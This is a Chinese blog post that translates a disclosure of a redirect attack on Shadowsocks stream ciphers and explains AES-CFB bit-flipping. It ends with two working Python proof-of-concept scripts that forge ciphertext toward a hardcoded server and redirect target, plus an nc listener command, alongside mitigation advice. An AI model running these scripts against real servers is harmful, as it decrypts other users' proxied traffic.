0%

重定向攻击shadowsocks流加密

前言

这是Sec-News今天发布的消息,就是shadowsocks存在重定向攻击漏洞。这篇文档是英文的,试着翻译一下。

正文

Redirect attack on Shadowsocks stream ciphers

shadowsocks流加密存在重定向攻击漏洞

Shadowsocks is a secure split proxy loosely based on SOCKS5. It’s widely used in china. However, we found a vulnerability in shadowsocks protocol which break the confdentiality of shadowsocks stream cipher. An attacker can easliy decrypt all the encrypted shadowsocks packet using our redirect attack. As the vulnerability is obvious and easy to exploit. I think the government has already know it. So, using shadowsocks in steam cipher cannot hide yourself from surveillance.

Shadowsocks是大致基于SOCKS5的一种安全分割代理,在中国得到广泛使用。然而,我们发现了shadowsocks协议的一个漏洞,它会破坏shadowsocks流加密的保密性。攻击者可以轻松地使用重定向攻击解密所以已加密的shadowsoocks包。这个漏洞很明显,容易利用。我认为政府早就知道了。所以,使用shadowsocks流加密并不能逃脱监视。

How shadowsocks works:
The Shadowsocks local component (ss-local) acts like a traditional SOCKS5 server and provides proxy service to clients. It encrypts and forwards data streams and packets from the client to the Shadowsocks remote component (ss-remote), which decrypts and forwards to the target. Replies from target are similarly encrypted and relayed by ss-remote back to sslocal, which decrypts and eventually returns to the original client. client <—> ss-local <–[encrypted]–> ss-remote <—> target

shadowsocks的工作原理:
shadowsocks本地终端(ss-local)像传统的SOCKS5服务器一样,为客户端提供代理服务。它对客户端传输的数据流和数据包进行加密,并发送至shadowsocks远程终端(ss-remote)。由ss-remote解密这些加密的数据,将数据发送到目标服务器。类似地,目标服务器的响应数据被ss-remote加密,并中转到ss-local,最终由ss-local解密并将响应数据返回到原始客户端。
流程是这样:client <—> ss-local <–[encrypted]–> ss-remote <—> target

Official implementations of shadowsocks:
shadowsocks: The original Python implementation.
shadowsocks-libev: Lightweight C implementation for embedded devices and low end boxes. Very small footprint (several megabytes) for thousands of connections.
shadowsocks-go: Go implementation with multi-port, multi-password, user management and trafc statistics support for commercial deployments.
o-shadowsocks2: Another Go implementation focusing on core features and code reusability.
Shadowsocks-nodejs: Another shadowsocks implementation for nodejs. Although it’s deprecated, there still many people using it through npm.

shadowsocks的官方实现方式:
shadowsocks:由原始的python实现。
shadowsocks-libev: 由轻量级C语言实现,用于嵌入式设备和低端盒子。几兆的小脚本就支撑成千上万的连接数。
shadowsocks-go: 由Go语言实现,有多个端口,多个密码,为商业应用提供用户管理和数据分析的支撑。
o-shadowsocks2: 这也是由Go语言实现,专注于内核特色和代码的复用性。
Shadowsocks-nodejs: 由nodejs实现的shadowsocks。虽然不推荐使用,但是依然有很多人通过npm使用它。

Ciphers of shadowsocks:
Shadowsocks support the two kinds of ciphers:
Steam ciphers (none-AEAD cipher): Rc4-md5, salsa20,chacha20,chacha-ietf, aes-ctf, bf-cfb, camellia-cfb, aes-cfb
AEAD ciphers: aes-gcm,chacha-ietf-poly1305,xchacha20-ietf-poly1305
Normally, Stream ciphers provide only confdentiality, Data integrity and authenticity is not guaranteed. Users should use AEAD ciphers whenever possible. We audit all the official implementations of shadowsocks listed above. What surprised us was that only shadowsockslibev support AEAD cipher. All other official implementation only support steam cipher. This means that the data integrity and authenticity of most SS users is not guaranteed from a Mitm attacker.
More seriously, we found a vulnerability in shadowsocks protocol which break the confdentiality of shadowsocks stream cipher. An attacker can decrypt all the encrypted shadowsocks packet using our redirect attack.

shadoesocks加密:
Shadowsocks支持两种加密方式:
流加密(非AEAD加密):Rc4-md5, salsa20,chacha20,chacha-ietf, aes-ctf, bf-cfb, camellia-cfb, aes-cfb
AEAD加密:aes-gcm,chacha-ietf-poly1305,xchacha20-ietf-poly1305
通常,流加密只提供保密性,不能确保数据完整性和真实性。用户应该尽可能使用AEAD加密方式。我们审计了以上列出来的shadowsocks的官方实现方式,令人惊讶的是,只有shadowsockslibev支持AEAD加密,其他的官方实现方式都仅仅支持流加密。这意味着大多数SS用户的数据完整性和真实性难保不被中间人攻击。
更严肃的是,我们发现了shadowsocks协议的一个漏洞,它会破坏shadowsocks流加密的保密性。攻击者可以轻松地使用重定向攻击解密所以已加密的shadowsoocks包。

Redirect attack on Shadowsocks stream cipher:
Here we first invest how shadowsocks initiates a connection.
Initiating a TCP connection:
ss-local initiates a TCP connection to ss-remote by sending an encrypted data stream starting with the target address followed by payload data. The exact encryption scheme differs depending on the cipher used.
[target address][payload]
ss-remote receives the encrypted data stream, decrypts and parses the leading target address. It then establishes a new TCP connection to the target and forwards payload data to it. ss-remote receives reply from the target, encrypts and forwards it back to the ss-local, until ss-local disconnects. By the way, the UDP packet of shadowsocks has the same struct.

重定向攻击shadowsocks流加密:
我们先给shadowsocks初始化一个连接。
初始化一个TCP连接:
ss-local发送加密的数据流到ss-remote,初始化一个ss-local到ss-remote的TCP连接,目标地址后面加上payload数据。具体的加密协议因使用的加密方式而异。
[目标地址][payload数据]
ss-remote接收到加密的数据流,解密并解析出目标地址,然后建立一个ss-remote到目标服务器的TCP连接,将payload数据发送至目标服务器。ss-remote收到目标服务器的响应,解密响应数据,把它返回给ss-local,直到ss-local断开连接。顺便说一下,shadowsocks的UDP包也是一样的结构。

Address format:
Addresses used in Shadowsocks follow the SOCKS5 address format:
[1-byte type][variable-length host][2-byte port]
The following address types are defned:
0x01: host is a 4-byte IPv4 address.
0x03: host is a variable length string, starting with a 1-byte length, followed by up to 255-byte domain name.
0x04: host is a 16-byte IPv6 address
The port number is a 2-byte big-endian unsigned integer. Essentially, ss-remote is performing Network Address Translation for ss-local.

地址格式:
shdowsocks使用的地址遵照SOCKS5的地址格式:
[单字节的类型][可变长度的host][2字节的端口号]
下面的地址类型是预定义的:
0x01: host是4字节的IPv4地址。
0x03: host是可变长度的字符串,域名的长度范围从1字节到255字节。
0x04: host是16字节的IPv6地址。
端口号是2字节大端无符号整型数据。实质上,ss-remote为ss-local做网络地址转换。

Stream Encryption/Decryption:
Stream_encrypt is a function that takes a secret key, an initialization vector, a message, and produces a ciphertext with the same length as the message.
Stream_encrypt(key, IV, message) => ciphertext
Stream_decrypt is a function that takes a secret key, an initializaiton vector, a ciphertext, and produces the original message. Stream_decrypt(key, IV, ciphertext) => message
The key can be input directly from user or generated from a password. The key derivation is following EVP_BytesToKey(3) in OpenSSL. The detailed spec can be found here.
[IV][encrypted payload]
Cleverly, attacker can brute force your password and then decrypt your packet. Which means there is no forward security for shadowsocks. You can easily protect yourself from the brute force attack by using a strong password.

流加密/流解密:
流加密函数通过使用一个密钥,一个初始向量,一个消息体,生成一个和消息体等长的加密文本。
Stream_encrypt(key, IV, message) => ciphertext
流解密函数通过使用一个密钥,一个初始向量,一个加密文本,生成原始消息体。
Stream_decrypt(key, IV, ciphertext) => message
密钥可以直接由用户输入,或者由密码生成。密钥推导遵循OpenSSL的EVP_BytesToKey(3),详细规范可以在这里找到。
[IV][encrypted payload]
聪明的攻击者很轻易就能暴力破解你的密码,解密数据包。这意味着shadowsocks没有前向安全性。你可以设置强密码,这样能轻易避免遭受暴力破解攻击。

Redirect attack on Shadowsocks
Is there anyway we can decrypt shadowsocks without brute force the password? Yes, there is. As we mentioned, stream cipher in shadowsocks does not provide data integrity. So we can create a new ciphertext by modifying the existed one. If we know the plaintext of some particular ciphertext, we can even completely control the content of the plaintext. In particular, if we make new ciphertext encrypting the following content:
[target address] [payload]
And the target IP address is controlled by you. We can prevent to be a valid ss-local to create a redirect tunnel like this:
ss-local(fake one) <–[encrypted]–> ss-remote <—> target(controlled)
Any encrypted packet we send in the [encrypted] tunnel, the ss-remote will decrypt it and redirect the plaintext to the target IP address your control. Then we can decrypt every encrypted shadowsocks packet by using this tunnel.

重定向攻击shadowsocks
有没有什么方法可以不用暴力破解就能解密shadowsocks?答案是有的。正如我们提到过,流加密不提供数据完整性,所以我们可以修改已有的加密文本来新建一个加密文本。如果我们知道某个特殊加密文本的纯文本,我们甚至可以完全控制这个纯文本的内容。尤其是,如果我们新建的加密文本加密了以下内容:
[target address] [payload]
这个IP地址就被你控制了。我们可以做一个非法的ss-local,去创建这样的重定向通道:
ss-local(fake one) <–[encrypted]–> ss-remote <—> target(controlled)
我们在加密通道发出的所有加密数据包,ss-remote都会解密之,并且把纯文本重定向到你已经控制的目标服务器。我们就可以通过这个通道解密所有已加密的shadowsocks数据包。

Demo: AES-256-CFB
Here we take AES-256-CFB as an example, to show the power of redirect attack on shadowsocks stream cipher. Give any ciphertext [IV][encrypted payload]. The AES-CFB decryption work like this:
image.png
As we can see, if we modify the first block of ciphertext from c1 to c1’. We can change the first block of plaintext from p1 to p1’. The relation is the following:
c1’=Xor(c1,r)
p1’=Xor(p1,r)
To construct a valid [target address]=[0x01,IP(4bytes),Port(2bytes)] , we only need to control the first 7 byte the p1’. If we know the first 7bytes of p1, we can create redirect tunnel to decrypt every encrypted packet.
So the problem becomes: How can we get ciphertext [IV][encrypted payload] with known first 7 bytes. It’s easy, we can get it in many ways. In this example, we use the common pattern in HTTP protocol. As we see in the following tcp flow:
image.png
We user access some web site. The Http server always reply with a prefix ‘HTTP/1.’. We can collect all the TCP follow, and suppose that it is http connection. Then we can try to modify the first packet (“”) of it to get a desired c1’ with [malicious address] [payload] in p1’. Although we don’t know which one is correct. But we can try many times, once there is a correct HTTP connection, we immediately construct a redirect tunnel. Then we can use this tunnel to decrypt every encrypted packet.
Here is the POC for AES-256-CFB in shadowsocks:
ss-server runing on : 192.168.1.2:8899
ss-client running on: 192.168.1.4
attacker IP: 192.168.1.3
Attacker capture a http connection, and listen on 192.168.1.3:4626 with:
nc -l -p 4626 >1.txt
Then attacker use the following code to create a redirect tunnel:
image.png
Then we can see the decrypted packet:
How to defense you self from redirect attack:
Do not use : shadowsocks-py, shadowsocoks-go, go-shadowsocks2, shadowsocoks-nodejs.
Only Use: shadowsocks-libev, and only use the AEAD ciphers.

例子: AES-256-CFB
为了演示重定向攻击流加密,我们用AES-256-CFB来举例。给一个任意的加密文本,初始向量,加密的payload数据,AES-CFB解密的过程就像这样:
image.png
正如我们看到的,如果我们修改从c1到c1’的加密文本的第一部分,我们就可以修改从p1到p1’的第一部分。关系如下:
c1’=Xor(c1,r)
p1’=Xor(p1,r)
为了构造一个有效的目标地址[target address]=[0x01,IP(4bytes),Port(2bytes)],我们只需要控制p1’的前7个字节。如果我们知道p1的前7个字节,就可以创建重定向通道,解密任一已加密的数据包。
所以问题变成了:已知了前7个字节,我们如何得到加密文本,初始向量,已加密的payload数据?很简单,有很多种方式得到。比如,我们使用HTTP协议的常用模式,如下图所示的tcp流:
image.png
我们用户访问某个网站时,Http服务器总是会回复‘HTTP/1.’这样的前缀。我们可以收集所有的TCP流,我们认为就是http连接。然后我们可以试着修改第一个包,利用p1’的 [malicious address] [payload]得到一个想要的c1’。尽管我们不知道哪一个是正确的,但是我们可以多次尝试,直到建立正确的HTTP连接,立刻就会创建一个重定向通道。接下来就可以使用这个通道解密任一已加密的包。
这是shadowsocks AES-256-CFB的POC:
ss-server runing on : 192.168.1.2:8899
ss-client running on: 192.168.1.4
attacker IP: 192.168.1.3
攻击者捕获一个http连接,用命令nc -l -p 4626 >1.txt监听192.168.1.3:4626,然后攻击者用以下代码创建一个重定向通道:
image.png
然后我们可以看到解密的数据包:
image.png
怎样避免受到重定向攻击:
不使用:shadowsocks-py, shadowsocoks-go, go-shadowsocks2, shadowsocoks-nodejs。
只使用:shadowsocks-libev, 并且只用AEAD这种加密方式。

创建定向通道的代码

分为http请求和https请求:

  • http请求:attack_with_http_pocket.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import encrypt
    from encrypt import Encryptor
    def xor(s1,s2):
    n=len(s1)
    r=''
    for i in range(n):
    r+=chr(ord(s1[i])^ord(s2[i]))
    return r
    method='aes-256-cfb'
    def up(c):
    l=16-len(c)%16
    c=c+'\x00'*l
    return c
    #c is a capture http packet.
    c='57122435b0ab1e28db5e59f49f5510dc7196c0cba5e6119eb8cf293210522da840b1360e7b0727122e90bb9c474f586574742fdbc5bc6ca39d8f79afefc21db6a3dbf263d6116260dd7f763691b105091ce07e8f98e9215639099c0912defd608c8c0da1e9ce4f6127a933e60833a953c1ace7f7c6589ad0f7cf1347e2967699cfb70a9a9b6114f13454f49472793504f1487b0ff73604fe0fd82ae92b8ca082fc8ca978303da066edda40e6'
    c=c.decode('hex')
    #c=up(c)
    prefix_http='HTTP/1.'
    prefix_https_recv='\x16\x03\x03\x00\x8d\x02\x00'
    prefix_https_send='\x16\x03\x01\x02\x00\x01\x00'
    #targetIP='\x01\xc0\xa8\x01\x03\x12\x12'# malicous target IP address: 192.168.1.3:4626
    #targetIP='\x01\x23\xbd\xa0\x6b\x1f\x90'
    targetIP='\x01\x2f\x34\xab\x43\x12\x12'
    x=xor(prefix_https_recv,targetIP)
    y=c[16:16+7]
    z=xor(x,y)
    cipertext=c[0:16]+z+c[16+7:]
    import socket
    obj = socket.socket()
    print ("begin\n")
    obj.connect(("ip",8080))# ss-server is running on 192.168.1.2:8899
    obj.send(cipertext)# send the payload to construct a redirect tunnel
    buf=obj.recv(1024)
  • https请求:attack2_with_https_pocket.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    import time
    def xor(s1,s2):
    n=len(s1)
    r=''
    for i in range(n):
    r+=chr(ord(s1[i])^ord(s2[i]))
    return r
    method='aes-256-cfb'
    def up(c):
    l=16-len(c)%16
    c=c+'\x00'*l
    return c
    #c is a capture http packet.
    c='b338f754455478c1fdb1dc11f300050ce303ea8d9bdfdd2afa64cf257184c0e79f1b10f528abaa'
    c=c.decode('hex')
    c=up(c)
    c1='8a6db90928015d006b6f1998dcc71e19a25e201ca2a2560dc99ccfa48e8d300723af80bbbf2ecfb154c3fa67c05450874c279efe990fe85a516e1d25a94cf4848997a8ecfb0b339f7e50f805fb79ab97c370fab07751da5e72059fd28a5977635400e7d87d1dd69ca5bfc6af3f9b41bd07062365ad4cf1feef7eeb5d79ec0f1c6b1f2c62489cd319fa1138dd271aea22747463ae3e1aa5e2aea6ec519715431cd6b94ca1677878eb3ab5436b04f505b4aeb73f46bb8a665d4bc9d7d6eff180fabbd8e1f052876f48bfa48ba63c2941eaec73f72593572d8d1125e2b0fbd327d99c1e54921fe70007a0fcfdc174cba65ba1984f44f8f78bd372e0f8aa09c65e0189e587b1875e791a583830d02e5d25067e1932743cc889dd5efe73fa3b034668cb7970cf344a557e82bc3bfdb669943586cb14a5c0baded64eb4388b5df920db87006ac2341c8cb40a6c4b4cfff6de0851e6dee1527556a2cbfff423051856120e1533d53cefa468577dbda680f4a29fab203dc1b4072ae0bd48810b5ec3d9830ecad310c7ee63bb6c10aa1a9e8718b2b6b1a651a8f65649604258b1ed508928c4259c35496c9eeb6c924891101212c1f73d254d843322863f00af45743b674eb34c1a28abc74e7373d6376ebeff346ec7e1b8698a2cb812a64b00c24ada0df99d76241916c093e0d03bbf6ffff8463db25b52e75c2dbcc5a80ccc203d052eec6b9a3043dc5667cf3fbaeebe8d2d20c767b77b51c64bc73a706f16f6a2b851e24d99b1ec66bfec'
    c=c+c1.decode('hex')
    prefix_http='HTTP/1.'
    prefix_https_send='\x16\x03\x01\x02\x00\x01\x00'
    #targetIP='\x01\xc0\xa8\x01\x03\x12\x12'# malicous target IP address: 192.168.1.3:4626
    #targetIP='\x01\x23\xbd\xa0\x6b\x1f\x90'
    import socket
    y=c[16:16+7]
    serverip="13.70.25.143"
    serverport=8080
    targetIP='\x01\x2f\x34\xab\x43\x12\x12'
    for i in range(60,120,1):
    prefix_https_recv='\x16\x03\x03\x01'+chr(i)+'\x02\x00'
    x=xor(prefix_https_recv,targetIP)
    z=xor(x,y)
    cipertext=c[0:16]+z+c[16+7:]
    obj = socket.socket()
    obj.connect((serverip,serverport))# ss-server is running on 192.168.1.2:8899
    print (i)
    obj.send(cipertext)# send the payload to construct a redirect tunnel
    time.sleep(0.2)
    for i in range(0,0,1):
    prefix_https_recv='\x16\x03\x03\x00'+chr(i)+'\x02\x00'
    x=xor(prefix_https_recv,targetIP)
    z=xor(x,y)
    cipertext=c[0:16]+z+c[16+7:]
    obj = socket.socket()
    obj.connect((serverip,serverport))# ss-server is running on 192.168.1.2:8899
    print (i)
    obj.send(cipertext)# send the payload to construct a redirect tunnel
    time.sleep(0.2)

更新-漏洞复现

参考博文:https://www.leadroyal.cn/?p=1036
这个作者提供了exp,讲得挺详细,以后有兴趣了跟着操作一遍。

-------------本文结束感谢您的阅读-------------